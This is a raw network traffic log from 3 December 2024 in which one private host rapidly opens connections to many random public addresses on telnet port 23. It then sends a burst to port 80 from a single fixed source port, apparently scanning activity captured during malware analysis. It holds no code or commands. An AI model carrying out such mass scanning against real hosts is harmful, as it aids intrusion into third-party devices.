Dec 3, 2024 21:01:59.339979887 CET	39842	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:01:59.340312004 CET	39884	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:01:59.342065096 CET	23	46136	199.155.176.9	192.168.2.23
Dec 3, 2024 21:01:59.342180967 CET	46136	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:01:59.342385054 CET	23	44604	195.179.219.228	192.168.2.23
Dec 3, 2024 21:01:59.342397928 CET	23	52576	102.92.165.202	192.168.2.23
Dec 3, 2024 21:01:59.342405081 CET	46178	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:01:59.342439890 CET	44604	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:01:59.342505932 CET	23	50648	74.221.182.117	192.168.2.23
Dec 3, 2024 21:01:59.342782021 CET	52576	23	192.168.2.23	102.92.165.202
Dec 3, 2024 21:01:59.343050003 CET	52618	23	192.168.2.23	102.92.165.202
Dec 3, 2024 21:01:59.343406916 CET	50648	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:01:59.343691111 CET	50690	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:01:59.371149063 CET	23	45766	121.220.27.35	192.168.2.23
Dec 3, 2024 21:01:59.371272087 CET	45766	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:01:59.371627092 CET	45808	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:01:59.378011942 CET	23	59860	96.252.143.108	192.168.2.23
Dec 3, 2024 21:01:59.378634930 CET	23	59902	96.252.143.108	192.168.2.23
Dec 3, 2024 21:01:59.378693104 CET	59902	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:01:59.381949902 CET	46918	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:01:59.381957054 CET	43410	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:01:59.397797108 CET	23	53102	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:59.398088932 CET	23	53144	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:59.398145914 CET	53144	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:59.403608084 CET	23	49488	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:59.404371977 CET	23	49530	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:59.404419899 CET	49530	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:59.413743019 CET	23	47406	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:59.414036989 CET	23	47448	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:59.414088011 CET	47448	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:59.423335075 CET	23	41542	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:59.423420906 CET	41542	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:59.423863888 CET	41574	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:59.424283981 CET	23	59482	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:59.424599886 CET	23	59524	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:59.424653053 CET	59524	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:59.432640076 CET	23	60182	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:59.432704926 CET	60182	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:59.433053017 CET	60214	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:59.448605061 CET	23	50616	202.40.229.40	192.168.2.23
Dec 3, 2024 21:01:59.448774099 CET	50616	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:01:59.448925972 CET	23	59934	177.56.160.63	192.168.2.23
Dec 3, 2024 21:01:59.449054003 CET	50648	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:01:59.449481964 CET	59934	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:01:59.449758053 CET	59966	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:01:59.459561110 CET	23	53432	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:59.459821939 CET	23	53474	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:59.459899902 CET	53474	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:59.459970951 CET	23	34690	177.172.54.36	192.168.2.23
Dec 3, 2024 21:01:59.459980965 CET	23	34732	177.172.54.36	192.168.2.23
Dec 3, 2024 21:01:59.460024118 CET	34732	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:01:59.460443974 CET	23	39842	133.6.185.34	192.168.2.23
Dec 3, 2024 21:01:59.460956097 CET	23	39884	133.6.185.34	192.168.2.23
Dec 3, 2024 21:01:59.461044073 CET	39884	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:01:59.462562084 CET	23	46136	199.155.176.9	192.168.2.23
Dec 3, 2024 21:01:59.462893009 CET	23	46178	199.155.176.9	192.168.2.23
Dec 3, 2024 21:01:59.462949038 CET	46178	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:01:59.463035107 CET	23	52576	102.92.165.202	192.168.2.23
Dec 3, 2024 21:01:59.463212967 CET	23	44604	195.179.219.228	192.168.2.23
Dec 3, 2024 21:01:59.463274956 CET	44604	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:01:59.463377953 CET	23	52618	102.92.165.202	192.168.2.23
Dec 3, 2024 21:01:59.463424921 CET	52618	23	192.168.2.23	102.92.165.202
Dec 3, 2024 21:01:59.463614941 CET	44810	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:01:59.463668108 CET	23	50648	74.221.182.117	192.168.2.23
Dec 3, 2024 21:01:59.464152098 CET	23	50690	74.221.182.117	192.168.2.23
Dec 3, 2024 21:01:59.464200974 CET	50690	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:01:59.491830111 CET	23	45766	121.220.27.35	192.168.2.23
Dec 3, 2024 21:01:59.491976023 CET	23	45808	121.220.27.35	192.168.2.23
Dec 3, 2024 21:01:59.492052078 CET	45808	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:01:59.496969938 CET	20129	80	192.168.2.23	89.149.14.97
Dec 3, 2024 21:01:59.496974945 CET	20129	80	192.168.2.23	167.253.159.61
Dec 3, 2024 21:01:59.496989965 CET	20129	80	192.168.2.23	190.79.16.71
Dec 3, 2024 21:01:59.496989965 CET	20129	80	192.168.2.23	4.65.158.178
Dec 3, 2024 21:01:59.496989965 CET	20129	80	192.168.2.23	196.18.47.40
Dec 3, 2024 21:01:59.497008085 CET	20129	80	192.168.2.23	94.96.69.236
Dec 3, 2024 21:01:59.497008085 CET	20129	80	192.168.2.23	59.56.240.27
Dec 3, 2024 21:01:59.497014999 CET	20129	80	192.168.2.23	174.173.230.7
Dec 3, 2024 21:01:59.497014999 CET	20129	80	192.168.2.23	20.138.99.28
Dec 3, 2024 21:01:59.497020006 CET	20129	80	192.168.2.23	223.232.19.111
Dec 3, 2024 21:01:59.497023106 CET	20129	80	192.168.2.23	112.114.37.148
Dec 3, 2024 21:01:59.497023106 CET	20129	80	192.168.2.23	48.242.231.21
Dec 3, 2024 21:01:59.497029066 CET	20129	80	192.168.2.23	77.6.197.216
Dec 3, 2024 21:01:59.497026920 CET	20129	80	192.168.2.23	121.181.92.221
Dec 3, 2024 21:01:59.497040033 CET	20129	80	192.168.2.23	197.155.79.111
Dec 3, 2024 21:01:59.497040033 CET	20129	80	192.168.2.23	202.51.172.78
Dec 3, 2024 21:01:59.497049093 CET	20129	80	192.168.2.23	31.179.105.67
Dec 3, 2024 21:01:59.497049093 CET	20129	80	192.168.2.23	184.20.170.26
Dec 3, 2024 21:01:59.497051001 CET	20129	80	192.168.2.23	206.176.189.157
Dec 3, 2024 21:01:59.497051954 CET	20129	80	192.168.2.23	136.194.183.197
Dec 3, 2024 21:01:59.497061014 CET	20129	80	192.168.2.23	86.37.84.42
Dec 3, 2024 21:01:59.497070074 CET	20129	80	192.168.2.23	208.200.7.207
Dec 3, 2024 21:01:59.497076035 CET	20129	80	192.168.2.23	143.190.51.189
Dec 3, 2024 21:01:59.497082949 CET	20129	80	192.168.2.23	159.249.63.58
Dec 3, 2024 21:01:59.497082949 CET	20129	80	192.168.2.23	75.244.233.95
Dec 3, 2024 21:01:59.497085094 CET	20129	80	192.168.2.23	175.179.237.130
Dec 3, 2024 21:01:59.497085094 CET	20129	80	192.168.2.23	148.93.108.77
Dec 3, 2024 21:01:59.497097969 CET	20129	80	192.168.2.23	43.158.177.45
Dec 3, 2024 21:01:59.497097969 CET	20129	80	192.168.2.23	53.24.1.83
Dec 3, 2024 21:01:59.497108936 CET	20129	80	192.168.2.23	140.109.19.7
Dec 3, 2024 21:01:59.497108936 CET	20129	80	192.168.2.23	1.215.251.200
Dec 3, 2024 21:01:59.497111082 CET	20129	80	192.168.2.23	171.36.42.60
Dec 3, 2024 21:01:59.497116089 CET	20129	80	192.168.2.23	31.171.38.101
Dec 3, 2024 21:01:59.497128010 CET	20129	80	192.168.2.23	160.29.190.109
Dec 3, 2024 21:01:59.497134924 CET	20129	80	192.168.2.23	23.31.42.229
Dec 3, 2024 21:01:59.497139931 CET	20129	80	192.168.2.23	75.73.161.130
Dec 3, 2024 21:01:59.497148037 CET	20129	80	192.168.2.23	42.10.64.100
Dec 3, 2024 21:01:59.497159004 CET	20129	80	192.168.2.23	195.124.28.116
Dec 3, 2024 21:01:59.497160912 CET	20129	80	192.168.2.23	72.114.56.135
Dec 3, 2024 21:01:59.497159958 CET	20129	80	192.168.2.23	139.231.172.73
Dec 3, 2024 21:01:59.497169971 CET	20129	80	192.168.2.23	62.24.80.28
Dec 3, 2024 21:01:59.497176886 CET	20129	80	192.168.2.23	89.100.18.113
Dec 3, 2024 21:01:59.497181892 CET	20129	80	192.168.2.23	42.141.244.200
Dec 3, 2024 21:01:59.497181892 CET	20129	80	192.168.2.23	90.93.117.38
Dec 3, 2024 21:01:59.497193098 CET	20129	80	192.168.2.23	200.249.77.99
Dec 3, 2024 21:01:59.497200012 CET	20129	80	192.168.2.23	48.211.54.43
Dec 3, 2024 21:01:59.497222900 CET	20129	80	192.168.2.23	116.6.16.221
Dec 3, 2024 21:01:59.497222900 CET	20129	80	192.168.2.23	186.77.64.103
Dec 3, 2024 21:01:59.497226000 CET	20129	80	192.168.2.23	140.174.66.18
Dec 3, 2024 21:01:59.497231960 CET	20129	80	192.168.2.23	145.7.197.6
Dec 3, 2024 21:01:59.497231960 CET	20129	80	192.168.2.23	147.13.39.38
Dec 3, 2024 21:01:59.497241974 CET	20129	80	192.168.2.23	34.243.93.174
Dec 3, 2024 21:01:59.497242928 CET	20129	80	192.168.2.23	41.92.0.110
Dec 3, 2024 21:01:59.497251987 CET	20129	80	192.168.2.23	81.34.48.173
Dec 3, 2024 21:01:59.497267008 CET	20129	80	192.168.2.23	222.193.66.56
Dec 3, 2024 21:01:59.497267008 CET	20129	80	192.168.2.23	185.92.228.136
Dec 3, 2024 21:01:59.497268915 CET	20129	80	192.168.2.23	121.118.78.224
Dec 3, 2024 21:01:59.497275114 CET	20129	80	192.168.2.23	13.249.182.18
Dec 3, 2024 21:01:59.497276068 CET	20129	80	192.168.2.23	54.10.235.22
Dec 3, 2024 21:01:59.497281075 CET	20129	80	192.168.2.23	87.24.228.146
Dec 3, 2024 21:01:59.497282028 CET	20129	80	192.168.2.23	132.70.0.91
Dec 3, 2024 21:01:59.497297049 CET	20129	80	192.168.2.23	35.248.198.107
Dec 3, 2024 21:01:59.497298956 CET	20129	80	192.168.2.23	223.20.147.162
Dec 3, 2024 21:01:59.497298956 CET	20129	80	192.168.2.23	153.74.232.87
Dec 3, 2024 21:01:59.497306108 CET	20129	80	192.168.2.23	53.10.71.176
Dec 3, 2024 21:01:59.497320890 CET	20129	80	192.168.2.23	38.90.47.102
Dec 3, 2024 21:01:59.497323036 CET	20129	80	192.168.2.23	62.213.183.27
Dec 3, 2024 21:01:59.497325897 CET	20129	80	192.168.2.23	53.182.217.166
Dec 3, 2024 21:01:59.497340918 CET	20129	80	192.168.2.23	58.254.97.29
Dec 3, 2024 21:01:59.497340918 CET	20129	80	192.168.2.23	198.185.20.33
Dec 3, 2024 21:01:59.497342110 CET	20129	80	192.168.2.23	58.154.106.96
Dec 3, 2024 21:01:59.497363091 CET	20129	80	192.168.2.23	70.91.235.226
Dec 3, 2024 21:01:59.497363091 CET	20129	80	192.168.2.23	182.62.45.101
Dec 3, 2024 21:01:59.497364998 CET	20129	80	192.168.2.23	183.158.131.63
Dec 3, 2024 21:01:59.497378111 CET	20129	80	192.168.2.23	102.66.146.38
Dec 3, 2024 21:01:59.497381926 CET	20129	80	192.168.2.23	72.198.199.150
Dec 3, 2024 21:01:59.497383118 CET	20129	80	192.168.2.23	170.29.242.215
Dec 3, 2024 21:01:59.497395992 CET	20129	80	192.168.2.23	32.189.102.15
Dec 3, 2024 21:01:59.497406006 CET	20129	80	192.168.2.23	90.51.87.189
Dec 3, 2024 21:01:59.497415066 CET	20129	80	192.168.2.23	177.8.98.194
Dec 3, 2024 21:01:59.497415066 CET	20129	80	192.168.2.23	144.121.111.105
Dec 3, 2024 21:01:59.497415066 CET	20129	80	192.168.2.23	194.48.106.4
Dec 3, 2024 21:01:59.497416973 CET	20129	80	192.168.2.23	151.25.7.189
Dec 3, 2024 21:01:59.497427940 CET	20129	80	192.168.2.23	129.1.82.134
Dec 3, 2024 21:01:59.497427940 CET	20129	80	192.168.2.23	17.199.105.235
Dec 3, 2024 21:01:59.497427940 CET	20129	80	192.168.2.23	50.49.181.151
Dec 3, 2024 21:01:59.497435093 CET	20129	80	192.168.2.23	198.211.166.235
Dec 3, 2024 21:01:59.497451067 CET	20129	80	192.168.2.23	173.36.151.196
Dec 3, 2024 21:01:59.497454882 CET	20129	80	192.168.2.23	74.77.25.99
Dec 3, 2024 21:01:59.497454882 CET	20129	80	192.168.2.23	120.55.84.177
Dec 3, 2024 21:01:59.497459888 CET	20129	80	192.168.2.23	190.133.74.52
Dec 3, 2024 21:01:59.497462988 CET	20129	80	192.168.2.23	203.190.134.238
Dec 3, 2024 21:01:59.497471094 CET	20129	80	192.168.2.23	2.114.98.186
Dec 3, 2024 21:01:59.497472048 CET	20129	80	192.168.2.23	155.134.207.228
Dec 3, 2024 21:01:59.497472048 CET	20129	80	192.168.2.23	157.53.113.154
Dec 3, 2024 21:01:59.497476101 CET	20129	80	192.168.2.23	2.249.207.144
Dec 3, 2024 21:01:59.497479916 CET	20129	80	192.168.2.23	111.81.37.29
Dec 3, 2024 21:01:59.497486115 CET	20129	80	192.168.2.23	101.73.196.44
Dec 3, 2024 21:01:59.497492075 CET	20129	80	192.168.2.23	116.101.234.45
Dec 3, 2024 21:01:59.497492075 CET	20129	80	192.168.2.23	223.152.82.250
Dec 3, 2024 21:01:59.497500896 CET	20129	80	192.168.2.23	92.173.241.49
Dec 3, 2024 21:01:59.497513056 CET	20129	80	192.168.2.23	50.201.237.227
Dec 3, 2024 21:01:59.497514963 CET	20129	80	192.168.2.23	174.94.127.124
Dec 3, 2024 21:01:59.497515917 CET	20129	80	192.168.2.23	199.175.203.52
Dec 3, 2024 21:01:59.497524023 CET	20129	80	192.168.2.23	183.216.200.81
Dec 3, 2024 21:01:59.497528076 CET	20129	80	192.168.2.23	84.58.82.17
Dec 3, 2024 21:01:59.497529030 CET	20129	80	192.168.2.23	206.203.78.63
Dec 3, 2024 21:01:59.497529984 CET	20129	80	192.168.2.23	65.188.225.234
Dec 3, 2024 21:01:59.497546911 CET	20129	80	192.168.2.23	145.253.87.170
Dec 3, 2024 21:01:59.497546911 CET	20129	80	192.168.2.23	197.80.22.34
Dec 3, 2024 21:01:59.497549057 CET	20129	80	192.168.2.23	190.66.26.110
Dec 3, 2024 21:01:59.497553110 CET	20129	80	192.168.2.23	207.250.194.224
Dec 3, 2024 21:01:59.497577906 CET	20129	80	192.168.2.23	69.71.38.193
Dec 3, 2024 21:01:59.497577906 CET	20129	80	192.168.2.23	199.61.61.86
Dec 3, 2024 21:01:59.497584105 CET	20129	80	192.168.2.23	67.140.76.223
Dec 3, 2024 21:01:59.497585058 CET	20129	80	192.168.2.23	115.171.5.222
Dec 3, 2024 21:01:59.497596979 CET	20129	80	192.168.2.23	63.211.234.53
Dec 3, 2024 21:01:59.497596979 CET	20129	80	192.168.2.23	163.106.174.29
Dec 3, 2024 21:01:59.497597933 CET	20129	80	192.168.2.23	138.144.241.105
Dec 3, 2024 21:01:59.497597933 CET	20129	80	192.168.2.23	1.225.105.162
Dec 3, 2024 21:01:59.497597933 CET	20129	80	192.168.2.23	147.106.185.127
Dec 3, 2024 21:01:59.497611046 CET	20129	80	192.168.2.23	4.176.141.33
Dec 3, 2024 21:01:59.497615099 CET	20129	80	192.168.2.23	120.6.34.178
Dec 3, 2024 21:01:59.497615099 CET	20129	80	192.168.2.23	191.126.203.61
Dec 3, 2024 21:01:59.497622013 CET	20129	80	192.168.2.23	8.96.85.93
Dec 3, 2024 21:01:59.497622013 CET	20129	80	192.168.2.23	104.78.6.1
Dec 3, 2024 21:01:59.497623920 CET	20129	80	192.168.2.23	174.45.154.65
Dec 3, 2024 21:01:59.497633934 CET	20129	80	192.168.2.23	41.76.151.15
Dec 3, 2024 21:01:59.497633934 CET	20129	80	192.168.2.23	60.188.151.162
Dec 3, 2024 21:01:59.497647047 CET	20129	80	192.168.2.23	51.64.138.172
Dec 3, 2024 21:01:59.497647047 CET	20129	80	192.168.2.23	176.76.216.246
Dec 3, 2024 21:01:59.497647047 CET	20129	80	192.168.2.23	143.215.183.92
Dec 3, 2024 21:01:59.497662067 CET	20129	80	192.168.2.23	186.74.40.231
Dec 3, 2024 21:01:59.497662067 CET	20129	80	192.168.2.23	12.125.204.163
Dec 3, 2024 21:01:59.497664928 CET	20129	80	192.168.2.23	101.243.191.145
Dec 3, 2024 21:01:59.497664928 CET	20129	80	192.168.2.23	140.77.205.219
Dec 3, 2024 21:01:59.497673988 CET	20129	80	192.168.2.23	136.254.166.236
Dec 3, 2024 21:01:59.497684002 CET	20129	80	192.168.2.23	76.208.73.56
Dec 3, 2024 21:01:59.497685909 CET	20129	80	192.168.2.23	2.38.114.255
Dec 3, 2024 21:01:59.497704983 CET	20129	80	192.168.2.23	110.138.170.53
Dec 3, 2024 21:01:59.497706890 CET	20129	80	192.168.2.23	184.44.216.201
Dec 3, 2024 21:01:59.497710943 CET	20129	80	192.168.2.23	194.120.187.60
Dec 3, 2024 21:01:59.497720003 CET	20129	80	192.168.2.23	182.218.84.13
Dec 3, 2024 21:01:59.497725010 CET	20129	80	192.168.2.23	182.106.18.97
Dec 3, 2024 21:01:59.497728109 CET	20129	80	192.168.2.23	172.161.160.247
Dec 3, 2024 21:01:59.497731924 CET	20129	80	192.168.2.23	94.16.210.172
Dec 3, 2024 21:01:59.497741938 CET	20129	80	192.168.2.23	189.194.154.80
Dec 3, 2024 21:01:59.497741938 CET	20129	80	192.168.2.23	124.133.83.89
Dec 3, 2024 21:01:59.497742891 CET	20129	80	192.168.2.23	205.88.196.14
Dec 3, 2024 21:01:59.497742891 CET	20129	80	192.168.2.23	27.166.143.0
Dec 3, 2024 21:01:59.497756004 CET	20129	80	192.168.2.23	111.48.140.16
Dec 3, 2024 21:01:59.497757912 CET	20129	80	192.168.2.23	132.43.231.241
Dec 3, 2024 21:01:59.497772932 CET	20129	80	192.168.2.23	129.255.255.96
Dec 3, 2024 21:01:59.497778893 CET	20129	80	192.168.2.23	110.100.161.161
Dec 3, 2024 21:01:59.497782946 CET	20129	80	192.168.2.23	14.148.221.88
Dec 3, 2024 21:01:59.497783899 CET	20129	80	192.168.2.23	190.195.225.182
Dec 3, 2024 21:01:59.497783899 CET	20129	80	192.168.2.23	39.208.235.227
Dec 3, 2024 21:01:59.497785091 CET	20129	80	192.168.2.23	86.127.150.33
Dec 3, 2024 21:01:59.497792006 CET	20129	80	192.168.2.23	107.163.179.32
Dec 3, 2024 21:01:59.497795105 CET	20129	80	192.168.2.23	74.59.61.213
Dec 3, 2024 21:01:59.497802973 CET	20129	80	192.168.2.23	123.130.243.171
Dec 3, 2024 21:01:59.497807980 CET	20129	80	192.168.2.23	116.249.132.108
Dec 3, 2024 21:01:59.497807980 CET	20129	80	192.168.2.23	114.186.216.0
Dec 3, 2024 21:01:59.497832060 CET	20129	80	192.168.2.23	69.156.195.181
Dec 3, 2024 21:01:59.497838020 CET	20129	80	192.168.2.23	216.25.37.117
Dec 3, 2024 21:01:59.497838020 CET	20129	80	192.168.2.23	190.54.126.212
Dec 3, 2024 21:01:59.497857094 CET	20129	80	192.168.2.23	183.44.178.57
Dec 3, 2024 21:01:59.497874022 CET	20129	80	192.168.2.23	170.209.83.202
Dec 3, 2024 21:01:59.497874022 CET	20129	80	192.168.2.23	125.192.248.201
Dec 3, 2024 21:01:59.497875929 CET	20129	80	192.168.2.23	200.252.204.205
Dec 3, 2024 21:01:59.497876883 CET	20129	80	192.168.2.23	194.42.2.152
Dec 3, 2024 21:01:59.497880936 CET	20129	80	192.168.2.23	189.49.110.59
Dec 3, 2024 21:01:59.497880936 CET	20129	80	192.168.2.23	36.248.237.1
Dec 3, 2024 21:01:59.497884989 CET	20129	80	192.168.2.23	209.35.167.175
Dec 3, 2024 21:01:59.497889042 CET	20129	80	192.168.2.23	157.35.74.177
Dec 3, 2024 21:01:59.497889996 CET	20129	80	192.168.2.23	183.102.5.103
Dec 3, 2024 21:01:59.497889996 CET	20129	80	192.168.2.23	108.185.6.170
Dec 3, 2024 21:01:59.497890949 CET	20129	80	192.168.2.23	196.86.174.175
Dec 3, 2024 21:01:59.497890949 CET	20129	80	192.168.2.23	163.5.178.160
Dec 3, 2024 21:01:59.497890949 CET	20129	80	192.168.2.23	98.7.141.5
Dec 3, 2024 21:01:59.497910976 CET	20129	80	192.168.2.23	152.96.100.175
Dec 3, 2024 21:01:59.497910976 CET	20129	80	192.168.2.23	120.191.54.214
Dec 3, 2024 21:01:59.497910976 CET	20129	80	192.168.2.23	89.236.97.206
Dec 3, 2024 21:01:59.497912884 CET	20129	80	192.168.2.23	53.67.113.130
Dec 3, 2024 21:01:59.497912884 CET	20129	80	192.168.2.23	103.84.237.50
Dec 3, 2024 21:01:59.497916937 CET	20129	80	192.168.2.23	102.138.104.36
Dec 3, 2024 21:01:59.497930050 CET	20129	80	192.168.2.23	198.117.179.62
Dec 3, 2024 21:01:59.497937918 CET	20129	80	192.168.2.23	62.151.105.238
Dec 3, 2024 21:01:59.497937918 CET	20129	80	192.168.2.23	41.176.135.187
Dec 3, 2024 21:01:59.497945070 CET	20129	80	192.168.2.23	156.29.222.82
Dec 3, 2024 21:01:59.497945070 CET	20129	80	192.168.2.23	96.165.13.109
Dec 3, 2024 21:01:59.497951984 CET	20129	80	192.168.2.23	157.206.61.75
Dec 3, 2024 21:01:59.497961044 CET	20129	80	192.168.2.23	170.125.26.207
Dec 3, 2024 21:01:59.497967958 CET	20129	80	192.168.2.23	196.167.41.165
Dec 3, 2024 21:01:59.497970104 CET	20129	80	192.168.2.23	166.83.98.195
Dec 3, 2024 21:01:59.497980118 CET	20129	80	192.168.2.23	159.192.190.200
Dec 3, 2024 21:01:59.497992992 CET	20129	80	192.168.2.23	23.218.33.40
Dec 3, 2024 21:01:59.497997046 CET	20129	80	192.168.2.23	86.67.41.225
Dec 3, 2024 21:01:59.497999907 CET	20129	80	192.168.2.23	74.177.253.123
Dec 3, 2024 21:01:59.498008966 CET	20129	80	192.168.2.23	122.249.110.122
Dec 3, 2024 21:01:59.498016119 CET	20129	80	192.168.2.23	4.108.28.16
Dec 3, 2024 21:01:59.498018026 CET	20129	80	192.168.2.23	93.70.64.36
Dec 3, 2024 21:01:59.498019934 CET	20129	80	192.168.2.23	159.171.184.60
Dec 3, 2024 21:01:59.498019934 CET	20129	80	192.168.2.23	130.249.82.111
Dec 3, 2024 21:01:59.498032093 CET	20129	80	192.168.2.23	211.40.23.21
Dec 3, 2024 21:01:59.498032093 CET	20129	80	192.168.2.23	126.99.92.32
Dec 3, 2024 21:01:59.498033047 CET	20129	80	192.168.2.23	57.2.199.105
Dec 3, 2024 21:01:59.498043060 CET	20129	80	192.168.2.23	139.111.147.227
Dec 3, 2024 21:01:59.498044968 CET	20129	80	192.168.2.23	200.135.227.160
Dec 3, 2024 21:01:59.498049974 CET	20129	80	192.168.2.23	171.70.156.144
Dec 3, 2024 21:01:59.498054981 CET	20129	80	192.168.2.23	159.64.196.134
Dec 3, 2024 21:01:59.498069048 CET	20129	80	192.168.2.23	1.47.165.250
Dec 3, 2024 21:01:59.498076916 CET	20129	80	192.168.2.23	174.49.143.152
Dec 3, 2024 21:01:59.498083115 CET	20129	80	192.168.2.23	143.5.100.178
Dec 3, 2024 21:01:59.498084068 CET	20129	80	192.168.2.23	116.248.134.85
Dec 3, 2024 21:01:59.498089075 CET	20129	80	192.168.2.23	142.130.250.210
Dec 3, 2024 21:01:59.498100042 CET	20129	80	192.168.2.23	168.98.240.3
Dec 3, 2024 21:01:59.498100042 CET	20129	80	192.168.2.23	146.148.73.41
Dec 3, 2024 21:01:59.498101950 CET	20129	80	192.168.2.23	130.127.250.182
Dec 3, 2024 21:01:59.498100042 CET	20129	80	192.168.2.23	12.53.40.135
Dec 3, 2024 21:01:59.498111010 CET	20129	80	192.168.2.23	208.251.83.163
Dec 3, 2024 21:01:59.498112917 CET	20129	80	192.168.2.23	83.38.212.117
Dec 3, 2024 21:01:59.498120070 CET	20129	80	192.168.2.23	152.69.67.188
Dec 3, 2024 21:01:59.498131037 CET	20129	80	192.168.2.23	222.142.215.194
Dec 3, 2024 21:01:59.498132944 CET	20129	80	192.168.2.23	114.66.12.132
Dec 3, 2024 21:01:59.498132944 CET	20129	80	192.168.2.23	118.112.69.55
Dec 3, 2024 21:01:59.498138905 CET	20129	80	192.168.2.23	169.52.38.66
Dec 3, 2024 21:01:59.498143911 CET	20129	80	192.168.2.23	12.76.136.5
Dec 3, 2024 21:01:59.498150110 CET	20129	80	192.168.2.23	23.196.105.16
Dec 3, 2024 21:01:59.498161077 CET	20129	80	192.168.2.23	44.162.14.228
Dec 3, 2024 21:01:59.498171091 CET	20129	80	192.168.2.23	115.237.130.16
Dec 3, 2024 21:01:59.498172045 CET	20129	80	192.168.2.23	61.58.109.201
Dec 3, 2024 21:01:59.498188019 CET	20129	80	192.168.2.23	111.147.212.194
Dec 3, 2024 21:01:59.498188019 CET	20129	80	192.168.2.23	167.102.255.127
Dec 3, 2024 21:01:59.498188019 CET	20129	80	192.168.2.23	158.114.131.84
Dec 3, 2024 21:01:59.498189926 CET	20129	80	192.168.2.23	37.155.127.137
Dec 3, 2024 21:01:59.498194933 CET	20129	80	192.168.2.23	181.173.20.202
Dec 3, 2024 21:01:59.498199940 CET	20129	80	192.168.2.23	205.81.254.60
Dec 3, 2024 21:01:59.498199940 CET	20129	80	192.168.2.23	191.156.33.16
Dec 3, 2024 21:01:59.498213053 CET	20129	80	192.168.2.23	222.167.217.254
Dec 3, 2024 21:01:59.498218060 CET	20129	80	192.168.2.23	156.16.59.208
Dec 3, 2024 21:01:59.498225927 CET	20129	80	192.168.2.23	92.181.143.13
Dec 3, 2024 21:01:59.498231888 CET	20129	80	192.168.2.23	67.200.21.239
Dec 3, 2024 21:01:59.498235941 CET	20129	80	192.168.2.23	115.29.237.121
Dec 3, 2024 21:01:59.498245001 CET	20129	80	192.168.2.23	9.187.116.203
Dec 3, 2024 21:01:59.498245955 CET	20129	80	192.168.2.23	177.108.228.139
Dec 3, 2024 21:01:59.498251915 CET	20129	80	192.168.2.23	177.183.129.199
Dec 3, 2024 21:01:59.498260975 CET	20129	80	192.168.2.23	1.242.128.165
Dec 3, 2024 21:01:59.498264074 CET	20129	80	192.168.2.23	175.16.171.224
Dec 3, 2024 21:01:59.498264074 CET	20129	80	192.168.2.23	218.250.39.108
Dec 3, 2024 21:01:59.498271942 CET	20129	80	192.168.2.23	103.171.0.197
Dec 3, 2024 21:01:59.498281956 CET	20129	80	192.168.2.23	82.163.51.203
Dec 3, 2024 21:01:59.498285055 CET	20129	80	192.168.2.23	170.197.32.139
Dec 3, 2024 21:01:59.498292923 CET	20129	80	192.168.2.23	198.143.130.24
Dec 3, 2024 21:01:59.498302937 CET	20129	80	192.168.2.23	69.82.116.221
Dec 3, 2024 21:01:59.498307943 CET	20129	80	192.168.2.23	79.71.56.115
Dec 3, 2024 21:01:59.498311996 CET	20129	80	192.168.2.23	52.210.160.250
Dec 3, 2024 21:01:59.498326063 CET	20129	80	192.168.2.23	41.181.244.199
Dec 3, 2024 21:01:59.498327017 CET	20129	80	192.168.2.23	13.13.186.116
Dec 3, 2024 21:01:59.498339891 CET	20129	80	192.168.2.23	40.42.59.121
Dec 3, 2024 21:01:59.498342991 CET	20129	80	192.168.2.23	186.124.172.104
Dec 3, 2024 21:01:59.498343945 CET	20129	80	192.168.2.23	205.148.65.239
Dec 3, 2024 21:01:59.498363972 CET	20129	80	192.168.2.23	221.224.80.185
Dec 3, 2024 21:01:59.498368025 CET	20129	80	192.168.2.23	167.83.207.205
Dec 3, 2024 21:01:59.498368025 CET	20129	80	192.168.2.23	107.104.193.206
Dec 3, 2024 21:01:59.498368979 CET	20129	80	192.168.2.23	121.221.198.63
Dec 3, 2024 21:01:59.498373985 CET	20129	80	192.168.2.23	207.240.202.230
Dec 3, 2024 21:01:59.498383045 CET	20129	80	192.168.2.23	95.122.251.178
Dec 3, 2024 21:01:59.498389959 CET	20129	80	192.168.2.23	176.85.55.44
Dec 3, 2024 21:01:59.498389959 CET	20129	80	192.168.2.23	24.69.112.139
Dec 3, 2024 21:01:59.498394012 CET	20129	80	192.168.2.23	185.230.24.231
